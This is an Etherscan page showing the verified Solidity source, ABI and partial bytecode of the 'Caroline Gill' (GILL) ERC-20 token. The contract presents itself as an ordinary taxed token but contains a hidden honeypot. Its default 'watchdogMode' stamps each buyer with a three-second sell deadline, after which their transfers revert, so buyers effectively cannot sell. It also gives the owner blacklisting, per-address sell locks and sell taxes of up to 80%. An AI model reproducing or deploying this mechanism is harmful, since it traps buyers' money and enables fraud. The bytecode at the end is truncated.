ERC-20
Overview
Max Total Supply
1,000,000 GILL
Holders
9
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
CGill
Compiler Version
v0.8.25+commit.b61c2a91
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-05-13 */ // SPDX-License-Identifier: MIT /* TG: https://t.me/CarolineGillETH */ pragma solidity ^0.8.17; library Address{ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _setOwner(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IFactory{ function createPair(address tokenA, address tokenB) external returns (address pair); } interface IRouter { function factory() external pure returns (address); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; } contract CGill is Context, IERC20, Ownable { using Address for address payable; IRouter public router; address public pair; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public _isExcludedFromFee; mapping (address => bool) public _isExcludedFromMaxBalance; mapping (address => bool) public _isBlacklisted; mapping (address => uint256) public _dogSellTime; uint256 private _dogSellTimeOffset = 3; bool public watchdogMode = true; uint256 public _caughtDogs; uint8 private constant _decimals = 9; uint256 private _tTotal = 1_000_000 * (10**_decimals); uint256 public swapThreshold = 5_000 * (10**_decimals); uint256 public maxTxAmount = 20_000 * (10**_decimals); uint256 public maxWallet = 20_000 * (10**_decimals); string private constant _name = "Caroline Gill"; string private constant _symbol = "GILL"; struct Tax{ uint8 marketingTax; uint8 lpTax; } struct TokensFromTax{ uint marketingTokens; uint lpTokens; } TokensFromTax public totalTokensFromTax; Tax public buyTax = Tax(25,1); Tax public sellTax = Tax(30,1); address public marketingWallet = 0xd4F6E14cD7056463Dd096D399104f127755b4d03; bool private swapping; uint private _swapCooldown = 5; uint private _lastSwap; modifier lockTheSwap { swapping = true; _; swapping = false; } constructor () { _tOwned[_msgSender()] = _tTotal; IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH()); router = _router; pair = _pair; _approve(owner(), address(router), ~uint256(0)); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[marketingWallet] = true; _isExcludedFromMaxBalance[owner()] = true; _isExcludedFromMaxBalance[address(this)] = true; _isExcludedFromMaxBalance[pair] = true; _isExcludedFromMaxBalance[marketingWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } // ================= ERC20 =============== // function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } receive() external payable {} // ========================================== // //============== Owner Functions ===========// function owner_setBlacklisted(address account, bool isBlacklisted) public onlyOwner{ _isBlacklisted[account] = isBlacklisted; } function owner_setBulkIsBlacklisted(address[] memory accounts, bool state) external onlyOwner{ for(uint256 i =0; i < accounts.length; i++){ _isBlacklisted[accounts[i]] = state; } } function owner_setBuyTaxes(uint8 marketingTax, uint8 lpTax) external onlyOwner{ uint tTax = marketingTax + lpTax; require(tTax <= 30, "Can't set tax too high"); buyTax = Tax(marketingTax,lpTax); emit TaxesChanged(); } function owner_setSellTaxes(uint8 marketingTax, uint8 lpTax) external onlyOwner{ uint tTax = marketingTax + lpTax; require(tTax <= 80, "Can't set tax too high"); sellTax = Tax(marketingTax,lpTax); emit TaxesChanged(); } function owner_setTransferMaxes(uint maxTX_EXACT, uint maxWallet_EXACT) public onlyOwner{ uint pointFiveSupply = (_tTotal * 5 / 1000) / (10**_decimals); require(maxTX_EXACT >= pointFiveSupply && maxWallet_EXACT >= pointFiveSupply, "Invalid Settings"); maxTxAmount = maxTX_EXACT * (10**_decimals); maxWallet = maxWallet_EXACT * (10**_decimals); } function owner_rescueETH(uint256 weiAmount) public onlyOwner{ require(address(this).balance >= weiAmount, "Insufficient ETH balance"); payable(msg.sender).transfer(weiAmount); } function owner_rescueTokens() public{ // Make sure ca doesn't withdraw the pending taxes to be swapped. // Sends excess tokens / accidentally sent tokens back to marketing wallet. uint pendingTaxTokens = totalTokensFromTax.lpTokens + totalTokensFromTax.marketingTokens; require(balanceOf(address(this)) > pendingTaxTokens); uint excessTokens = balanceOf(address(this)) - pendingTaxTokens; _transfer(address(this), marketingWallet, excessTokens); } function owner_setWatchDogg(bool status_) external onlyOwner{ watchdogMode = status_; } function owner_setDogSellTimeForAddress(address holder, uint dTime) external onlyOwner{ _dogSellTime[holder] = block.timestamp + dTime; } // ========================================// function _getTaxValues(uint amount, address from, bool isSell) private returns(uint256){ Tax memory tmpTaxes = buyTax; if (isSell){ tmpTaxes = sellTax; } uint tokensForMarketing = amount * tmpTaxes.marketingTax / 100; uint tokensForLP = amount * tmpTaxes.lpTax / 100; if(tokensForMarketing > 0) totalTokensFromTax.marketingTokens += tokensForMarketing; if(tokensForLP > 0) totalTokensFromTax.lpTokens += tokensForLP; uint totalTaxedTokens = tokensForMarketing + tokensForLP; _tOwned[address(this)] += totalTaxedTokens; if(totalTaxedTokens > 0) emit Transfer (from, address(this), totalTaxedTokens); return (amount - totalTaxedTokens); } function _transfer(address from,address to,uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(amount <= maxTxAmount || _isExcludedFromMaxBalance[from], "Transfer amount exceeds the _maxTxAmount."); require(!_isBlacklisted[from] && !_isBlacklisted[to], "Blacklisted, can't trade"); if(!_isExcludedFromMaxBalance[to]) require(balanceOf(to) + amount <= maxWallet, "Transfer amount exceeds the maxWallet."); if (balanceOf(address(this)) >= swapThreshold && block.timestamp >= (_lastSwap + _swapCooldown) && !swapping && from != pair && from != owner() && to != owner()) swapAndLiquify(); _tOwned[from] -= amount; uint256 transferAmount = amount; if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to]){ transferAmount = _getTaxValues(amount, from, to == pair); if (from == pair){ if(watchdogMode){ _caughtDogs++; _dogSellTime[to] = block.timestamp + _dogSellTimeOffset; } }else{ if (_dogSellTime[from] != 0) require(block.timestamp < _dogSellTime[from]); } } _tOwned[to] += transferAmount; emit Transfer(from, to, transferAmount); } function swapAndLiquify() private lockTheSwap{ if(totalTokensFromTax.marketingTokens > 0){ uint256 ethSwapped = swapTokensForETH(totalTokensFromTax.marketingTokens); if(ethSwapped > 0){ payable(marketingWallet).transfer(ethSwapped); totalTokensFromTax.marketingTokens = 0; } } if(totalTokensFromTax.lpTokens > 0){ uint half = totalTokensFromTax.lpTokens / 2; uint otherHalf = totalTokensFromTax.lpTokens - half; uint balAutoLP = swapTokensForETH(half); if (balAutoLP > 0) addLiquidity(otherHalf, balAutoLP); totalTokensFromTax.lpTokens = 0; } emit SwapAndLiquify(); _lastSwap = block.timestamp; } function swapTokensForETH(uint256 tokenAmount) private returns (uint256) { uint256 initialBalance = address(this).balance; address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); _approve(address(this), address(router), tokenAmount); router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); return (address(this).balance - initialBalance); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(router), tokenAmount); (,uint256 ethFromLiquidity,) = router.addLiquidityETH {value: ethAmount} ( address(this), tokenAmount, 0, 0, owner(), block.timestamp ); if (ethAmount - ethFromLiquidity > 0) payable(marketingWallet).sendValue (ethAmount - ethFromLiquidity); } event SwapAndLiquify(); event TaxesChanged(); }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[],"name":"TaxesChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_caughtDogs","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_dogSellTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isBlacklisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromMaxBalance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTax","outputs":[{"internalType":"uint8","name":"marketingTax","type":"uint8"},{"internalType":"uint8","name":"lpTax","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"weiAmount","type":"uint256"}],"name":"owner_rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner_rescueTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"isBlacklisted","type":"bool"}],"name":"owner_setBlacklisted","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"state","type":"bool"}],"name":"owner_setBulkIsBlacklisted","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"marketingTax","type":"uint8"},{"internalType":"uint8","name":"lpTax","type":"uint8"}],"name":"owner_setBuyTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"uint256","name":"dTime","type":"uint256"}],"name":"owner_setDogSellTimeForAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"marketingTax","type":"uint8"},{"internalType":"uint8","name":"lpTax","type":"uint8"}],"name":"owner_setSellTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTX_EXACT","type":"uint256"},{"internalType":"uint256","name":"maxWallet_EXACT","type":"uint256"}],"name":"owner_setTransferMaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"status_","type":"bool"}],"name":"owner_setWatchDogg","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint8","name":"marketingTax","type":"uint8"},{"internalType":"uint8","name":"lpTax","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalTokensFromTax","outputs":[{"internalType":"uint256","name":"marketingTokens","type":"uint256"},{"internalType":"uint256","name":"lpTokens","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"watchdogMode","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405260036009908155600a805460ff19166001178155610022919061066d565b61002f90620f4240610682565b600c5561003e6009600a61066d565b61004a90611388610682565b600d556100596009600a61066d565b61006590614e20610682565b600e556100746009600a61066d565b61008090614e20610682565b600f5560408051808201825260198152600160209182018190526012805461011961ffff19918216179091558351808501909452601e845292909101526013805461011e9216919091179055601480546001600160a01b03191673d4f6e14cd7056463dd096d399104f127755b4d031790556005601555348015610102575f80fd5b5061010c33610400565b600c54335f90815260036020908152604080832093909355825163c45a015560e01b81529251737a250d5630b4cf539739df2c5dacb4c659f2488d93849263c45a0155926004808401938290030181865afa15801561016d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101919190610699565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156101dc573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102009190610699565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561024a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061026e9190610699565b600180546001600160a01b038581166001600160a01b0319928316179092556002805484841692169190911790555f549192506102b991166001546001600160a01b03165f1961044f565b600160055f6102cf5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff19968716179055308152600590935281832080548516600190811790915560145490911683529082208054909316811790925560069061033c5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905530815260069093528183208054851660019081179091556002548216845282842080548616821790556014549091168352912080549092161790556103ab3390565b6001600160a01b03165f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600c546040516103f191815260200190565b60405180910390a350506106bf565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b0383166104b65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b0382166105175760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104ad565b6001600160a01b038381165f8181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156105c557815f19048211156105ab576105ab610577565b808516156105b857918102915b93841c9390800290610590565b509250929050565b5f826105db57506001610667565b816105e757505f610667565b81600181146105fd576002811461060757610623565b6001915050610667565b60ff84111561061857610618610577565b50506001821b610667565b5060208310610133831016604e8410600b8410161715610646575081810a610667565b610650838361058b565b805f190482111561066357610663610577565b0290505b92915050565b5f61067b60ff8416836105cd565b9392505050565b808202811582820484141761066757610667610577565b5f602082840312156106a9575f80fd5b81516001600160a01b038116811461067b575f80fd5b61204e806106cc5f395ff3fe608060405260043610610220575f3560e01c8063768dc7101161011e578063cfe9dde0116100a8578063f2fde38b1161006d578063f2fde38b146106da578063f837ae07146106f9578063f887ea4014610718578063f8b45b0514610737578063f9d0ee941461074c575f80fd5b8063cfe9dde01461061e578063dd62ed3e1461063d578063e0a877c814610681578063ee9a5d821461069a578063ef07a182146106c5575f80fd5b8063a457c2d7116100ee578063a457c2d714610580578063a8aa1b311461059f578063a9059cbb146105be578063cb0e6f7b146105dd578063cc1776d3146105fc575f80fd5b8063768dc710146104f55780638c0b5e22146105235780638da5cb5b1461053857806395d89b4114610554575f80fd5b806339509351116101aa5780635966c81e1161016f5780635966c81e146104435780635e278da61461046257806370a0823114610476578063715018a6146104aa57806375f0a874146104be575f80fd5b8063395093511461038b57806343c39364146103aa5780634ba422bc146103c95780634cf27997146103e85780634f7041a514610407575f80fd5b80631b0f9381116101f05780631b0f9381146102d45780631cdd3be3146102f557806323b872dd1461032357806328c61f4114610342578063313ce56714610370575f80fd5b80630445b6671461022b57806306fdde0314610253578063095ea7b31461029157806318160ddd146102c0575f80fd5b3661022757005b5f80fd5b348015610236575f80fd5b50610240600d5481565b6040519081526020015b60405180910390f35b34801561025e575f80fd5b5060408051808201909152600d81526c10d85c9bdb1a5b994811da5b1b609a1b60208201525b60405161024a9190611abf565b34801561029c575f80fd5b506102b06102ab366004611b18565b61077b565b604051901515815260200161024a565b3480156102cb575f80fd5b50600c54610240565b3480156102df575f80fd5b506102f36102ee366004611b52565b610791565b005b348015610300575f80fd5b506102b061030f366004611b83565b60076020525f908152604090205460ff1681565b34801561032e575f80fd5b506102b061033d366004611ba5565b61087c565b34801561034d575f80fd5b506102b061035c366004611b83565b60066020525f908152604090205460ff1681565b34801561037b575f80fd5b506040516009815260200161024a565b348015610396575f80fd5b506102b06103a5366004611b18565b6108cc565b3480156103b5575f80fd5b506102f36103c4366004611bf2565b610902565b3480156103d4575f80fd5b506102f36103e3366004611c0b565b61093e565b3480156103f3575f80fd5b506102f3610402366004611b18565b610a22565b348015610412575f80fd5b506012546104299060ff8082169161010090041682565b6040805160ff93841681529290911660208301520161024a565b34801561044e575f80fd5b506102f361045d366004611c2b565b610a74565b34801561046d575f80fd5b506102f3610b1b565b348015610481575f80fd5b50610240610490366004611b83565b6001600160a01b03165f9081526003602052604090205490565b3480156104b5575f80fd5b506102f3610b7d565b3480156104c9575f80fd5b506014546104dd906001600160a01b031681565b6040516001600160a01b03909116815260200161024a565b348015610500575f80fd5b506102b061050f366004611b83565b60056020525f908152604090205460ff1681565b34801561052e575f80fd5b50610240600e5481565b348015610543575f80fd5b505f546001600160a01b03166104dd565b34801561055f575f80fd5b5060408051808201909152600481526311d2531360e21b6020820152610284565b34801561058b575f80fd5b506102b061059a366004611b18565b610bb1565b3480156105aa575f80fd5b506002546104dd906001600160a01b031681565b3480156105c9575f80fd5b506102b06105d8366004611b18565b610be7565b3480156105e8575f80fd5b506102f36105f7366004611b52565b610bf3565b348015610607575f80fd5b506013546104299060ff8082169161010090041682565b348015610629575f80fd5b506102f3610638366004611c56565b610cd5565b348015610648575f80fd5b50610240610657366004611d28565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b34801561068c575f80fd5b50600a546102b09060ff1681565b3480156106a5575f80fd5b506102406106b4366004611b83565b60086020525f908152604090205481565b3480156106d0575f80fd5b50610240600b5481565b3480156106e5575f80fd5b506102f36106f4366004611b83565b610d5d565b348015610704575f80fd5b506102f3610713366004611d5f565b610df7565b348015610723575f80fd5b506001546104dd906001600160a01b031681565b348015610742575f80fd5b50610240600f5481565b348015610757575f80fd5b50601054601154610766919082565b6040805192835260208301919091520161024a565b5f610787338484610e4a565b5060015b92915050565b5f546001600160a01b031633146107c35760405162461bcd60e51b81526004016107ba90611d89565b60405180910390fd5b5f6107ce8284611dd2565b60ff169050601e81111561081d5760405162461bcd60e51b8152602060048201526016602482015275086c2dc4ee840e6cae840e8c2f040e8dede40d0d2ced60531b60448201526064016107ba565b60408051808201825260ff85811680835290851660209092018290526012805461ffff1916909117610100909202919091179055517ff305e997be174eb1fbb444c89b9f4089de693e9b3b40486accc62ae99885e480905f90a1505050565b5f610888848484610f6d565b6001600160a01b0384165f908152600460209081526040808320338085529252909120546108c29186916108bd908690611deb565b610e4a565b5060019392505050565b335f8181526004602090815260408083206001600160a01b038716845290915281205490916107879185906108bd908690611dfe565b5f546001600160a01b0316331461092b5760405162461bcd60e51b81526004016107ba90611d89565b600a805460ff1916911515919091179055565b5f546001600160a01b031633146109675760405162461bcd60e51b81526004016107ba90611d89565b5f6109746009600a611ef1565b6103e8600c5460056109869190611eff565b6109909190611f16565b61099a9190611f16565b90508083101580156109ac5750808210155b6109eb5760405162461bcd60e51b815260206004820152601060248201526f496e76616c69642053657474696e677360801b60448201526064016107ba565b6109f76009600a611ef1565b610a019084611eff565b600e55610a106009600a611ef1565b610a1a9083611eff565b600f55505050565b5f546001600160a01b03163314610a4b5760405162461bcd60e51b81526004016107ba90611d89565b610a558142611dfe565b6001600160a01b039092165f9081526008602052604090209190915550565b5f546001600160a01b03163314610a9d5760405162461bcd60e51b81526004016107ba90611d89565b80471015610aed5760405162461bcd60e51b815260206004820152601860248201527f496e73756666696369656e74204554482062616c616e6365000000000000000060448201526064016107ba565b604051339082156108fc029083905f818181858888f19350505050158015610b17573d5f803e3d5ffd5b5050565b6010546011545f91610b2c91611dfe565b305f908152600360205260409020549091508110610b48575f80fd5b305f90815260036020526040812054610b62908390611deb565b601454909150610b179030906001600160a01b031683610f6d565b5f546001600160a01b03163314610ba65760405162461bcd60e51b81526004016107ba90611d89565b610baf5f6114a0565b565b335f8181526004602090815260408083206001600160a01b038716845290915281205490916107879185906108bd908690611deb565b5f610787338484610f6d565b5f546001600160a01b03163314610c1c5760405162461bcd60e51b81526004016107ba90611d89565b5f610c278284611dd2565b60ff1690506050811115610c765760405162461bcd60e51b8152602060048201526016602482015275086c2dc4ee840e6cae840e8c2f040e8dede40d0d2ced60531b60448201526064016107ba565b60408051808201825260ff85811680835290851660209092018290526013805461ffff1916909117610100909202919091179055517ff305e997be174eb1fbb444c89b9f4089de693e9b3b40486accc62ae99885e480905f90a1505050565b5f546001600160a01b03163314610cfe5760405162461bcd60e51b81526004016107ba90611d89565b5f5b8251811015610d58578160075f858481518110610d1f57610d1f611f35565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff1916911515919091179055600101610d00565b505050565b5f546001600160a01b03163314610d865760405162461bcd60e51b81526004016107ba90611d89565b6001600160a01b038116610deb5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107ba565b610df4816114a0565b50565b5f546001600160a01b03163314610e205760405162461bcd60e51b81526004016107ba90611d89565b6001600160a01b03919091165f908152600760205260409020805460ff1916911515919091179055565b6001600160a01b038316610eac5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107ba565b6001600160a01b038216610f0d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107ba565b6001600160a01b038381165f8181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610fd15760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107ba565b6001600160a01b0382166110335760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107ba565b5f81116110945760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107ba565b600e54811115806110bc57506001600160a01b0383165f9081526006602052604090205460ff165b61111a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206578636565647320746865205f6d61786044820152682a3c20b6b7bab73a1760b91b60648201526084016107ba565b6001600160a01b0383165f9081526007602052604090205460ff1615801561115a57506001600160a01b0382165f9081526007602052604090205460ff16155b6111a65760405162461bcd60e51b815260206004820152601860248201527f426c61636b6c69737465642c2063616e2774207472616465000000000000000060448201526064016107ba565b6001600160a01b0382165f9081526006602052604090205460ff1661124e57600f54816111e7846001600160a01b03165f9081526003602052604090205490565b6111f19190611dfe565b111561124e5760405162461bcd60e51b815260206004820152602660248201527f5472616e7366657220616d6f756e74206578636565647320746865206d61785760448201526530b63632ba1760d11b60648201526084016107ba565b600d54305f908152600360205260409020541015801561127d57506015546016546112799190611dfe565b4210155b80156112935750601454600160a01b900460ff16155b80156112ad57506002546001600160a01b03848116911614155b80156112c657505f546001600160a01b03848116911614155b80156112df57505f546001600160a01b03838116911614155b156112ec576112ec6114ef565b6001600160a01b0383165f9081526003602052604081208054839290611313908490611deb565b90915550506001600160a01b0383165f90815260056020526040902054819060ff1615801561135a57506001600160a01b0383165f9081526005602052604090205460ff16155b1561141f5760025461137d90839086906001600160a01b038781169116146115ed565b6002549091506001600160a01b03908116908516036113e057600a5460ff16156113db57600b8054905f6113b083611f49565b90915550506009546113c29042611dfe565b6001600160a01b0384165f908152600860205260409020555b61141f565b6001600160a01b0384165f908152